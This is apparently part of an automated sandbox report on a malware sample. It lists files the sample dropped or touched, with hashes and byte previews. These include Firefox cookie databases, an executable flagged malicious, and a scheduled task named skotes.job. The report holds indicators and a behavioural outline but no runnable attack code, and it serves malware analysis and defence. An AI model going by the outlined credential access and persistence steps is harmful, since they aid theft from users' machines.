Entropy (8bit):	3.9899391047490997
Encrypted:	false
SSDEEP:	48:8xdmTCqmwHfpidAKZdA1weh/iZUkAQkqehvxy+2:8iDmGp9Q0xy
MD5:	921300810AFD3D6BCC76BD0E9267ACE4
SHA1:	190FC01FC058FAFE39906AE2D396AFA1E419ECCD
SHA-256:	3785561D43F1382C649E913B25B64DE5D131A8D11CF3A71D0BC5052B5D4EE315
SHA-512:	D6B1E65269D253C9174CCB856FCDF73F0A0573602E545C81C0FCB7BE971FCB348DCEF8B33D3B467965A32D9C87C05EB3FE51FFDA3104E10FF25D2A45EB8F673F
Malicious:	false
Preview:	L..................F.@.. ...$+.,......s.\|4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkYc............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............7!.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002971624547613
Encrypted:	false
SSDEEP:	48:8x7dmTCqsHfpidAKZdA14tseh7sFiZUkmgqeh7sNxy+BX:8xIDyZnzxy
MD5:	B2ECC9AECA804BE5D3EB58FCB61B777C
SHA1:	9BD911501D75E6F1B4A434F976D1776D2224804F
SHA-256:	E5CC49DC099EBED243BB8065D5BB3947EAA1C5BF996B718FD220A3D4190B44B2
SHA-512:	9B6E0E806622E64CA7970C485020B2EC17A1073BE3289D091F02ACAC99618321F66D0B6FCD70383668D69C4E2A4A5918528882DDEB09BBC9088AD086ED374647
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............7!.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 19:59:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9871635024449628
Encrypted:	false
SSDEEP:	48:8mdmTCqmwHfpidAKZdA1vehDiZUkwqehrxy+R:8HDmGqFxy
MD5:	4A6E60A3CEB9A7587C2078A74A4CFC3E
SHA1:	83D1D0254DB3C9B762F438A86CB548C695232D9F
SHA-256:	158436AFF1CB3FF57F8D4890E716BFC177E40ACBF5F439A4CC1489216F99209E
SHA-512:	47E297EC050234463607D9B8E39A32183D68F1081868C3858C9027761658EC35932FFBE2FE4BD6E361F43DD90A007F388632D072BFFB0BD0CED4875FC33AA6E6
Malicious:	false
Preview:	L..................F.@.. ...$+.,......l.\|4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkYc............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............7!.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 19:59:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.980280721391207
Encrypted:	false
SSDEEP:	48:8EdmTCqmwHfpidAKZdA1hehBiZUk1W1qehRxy+C:8hDmGK9xxy
MD5:	F7E022D88D059C1C5BE343D80F912A9B
SHA1:	2AD5B3768F0B98FBDB8B601F1DE9CAFB0145649C
SHA-256:	F56B96A610357B57C69AB6BE9F5FA49319EBD4131FCFFA65C9C5321C5604948C
SHA-512:	D97EDDCB409CD027EB2148B6FC1406010CA871246AFB8DF3073442514FFADFB2FED0B4930FBB65B5CF1FB01ACD485C5C4EBE21D690C32B222ADF841E40B8388D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....3.{.\|4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkYc............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............7!.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 19:59:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990415092304148
Encrypted:	false
SSDEEP:	48:8fdmTCqmwHfpidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbzxy+yT+:8kDmGUT/TbxWOvTbzxy7T
MD5:	A4CB6AE67039CBBE8203B9FC3AF6C2E5
SHA1:	112D585D190FD215D1EF6DB4135C4CECA8AF9EBD
SHA-256:	79D0D1120740A89D783A52952C7CDAA5C65C559CB33751F778C1AD2B47B434C8
SHA-512:	46CF1D2DDC867E5B637F12CEBE328506C687238A6462E7F0B1A2BF5B0A494DBEAFE8BA8586ACFF4D7FFE682BBF55AA9C9F98417D452D628CD95F1E3374840A81
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Y.\|4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkYc............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............7!.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJJJJKEHCAK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3330048
Entropy (8bit):	6.642359553452517
Encrypted:	false
SSDEEP:	98304:5whLro2pYqTUDsHK6eR+7GjHIyHIcXKL4p:6hLro2pYqTUDaYItHLg
MD5:	8DB5B5875102EBB49A41696B0EF8F4FF
SHA1:	1E2D72813BABF474ACA4EE06C10CBD3ADAA3C6BA
SHA-256:	06058C50E21FC01792A691A64F0C4C40F66468260AC4CAB71288193A58C62C14
SHA-512:	834BEB092015E6BBDE5180A99BEAE51620397F0DFBCECD99A002C5A39DB64CC8DC0F95B14933A1F6CBFC6C389B1C815549D7068799A4387A0D42529049119751
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................3.....gR3...@.................................W...k...........................$.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...zkpqwmrk. ,.......,.................@...gfzteylm......2.......2.............@....taggant.0....2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJJJJKEHCAK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.356447927325278
Encrypted:	false
SSDEEP:	6:7Rlb1Yw5ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBr1:vxYrQ1CGAFifXVBr1
MD5:	31B9B82E91D19F6E5578F475CEADCC3A
SHA1:	2034619CC919DFF3E795A19F6D98A7D4CDE91266
SHA-256:	C169DC5D1BC2728063651BBCD5600608AAEF6EDB615F901EEF25FF1836981A19
SHA-512:	C4E6DE4258B7E0D989EFE94D57BFDB7E063AC4F3E814D8C9C3738D16D1B1206CD6B3EAD1AE68DCE04CBCC412EEA3DE78B62CFEADBA8CBE166C534C1D543BE787
Malicious:	false
Preview:	....%.5....L....#...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................;.............................

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (762)
Category:	downloaded
Size (bytes):	767
Entropy (8bit):	5.106013507813419
Encrypted:	false
SSDEEP:	12:ueNL/05aEFAHvZGBHslriFTAYsSw7sZAnIIIIIII5wuCPXIwuGHHHHHHHYZw4/fg:5+5aEiHv0BHslgT9lCuABuoB7HHHHHHp
MD5:	10A7B507592708E53F398F1DF971BEA3
SHA1:	324D9790A19810CEB42A69901F26CED26D32C2F3
SHA-256:	327448A910725D4224B862BAFB369A4A820D6B82981EBC99C9B49874D98C1BB4
SHA-512:	1831BBC7AE44275B1717DA5AAB25BE99FC85E08337963C400F9BFE6C93E9BFB736B8AE128DD12EA187C323BAB1F2A72E8C1EE85E9F5326AF2AC77590E2D225A6
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["cryptocurrency dogecoin","1923 yellowstone release date","ap top 25 college football","release date gta 6","spacex rocket launch","national hurricane center","super micro computer stock","disclaimer finale"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133690
Entropy (8bit):	5.432974315155456
Encrypted:	false
SSDEEP:	1536:i7C/VNgd7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlg9CFlOve2dzAcJ82O:f87vhSJjxeX431PBLx8OF9j9Ysci2i6o
MD5:	848256A8B8B664F5C3BB5C932AD06D3F
SHA1:	987C5E1949EBA11499E750EAE4D3117E64507FC5
SHA-256:	1F37BAE2DAE7B5A17572EB6076BC8CC703BCD1836C6B99AAC3C8E8B059A04D9C
SHA-512:	35EA4F197E9446583D91680A7686294396328AC22CBBBB79DC2B236D0EFE044EC171EE20DF046DC3CDD5CE9996ADEDDFD018212FDF7E18DF27DCF4154C922F3D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
